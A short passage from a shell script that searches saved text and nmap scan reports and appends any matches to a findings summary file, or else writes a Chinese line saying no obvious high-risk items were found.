"${REPORT_BASE}/" --include="*.txt" --include="*.nmap" 2>/dev/null \ >> "${REPORT_BASE}/findings_summary.txt" || echo " 未发现明显高危项" >> "${REPORT_BASE}/findings_summary.txt" cat <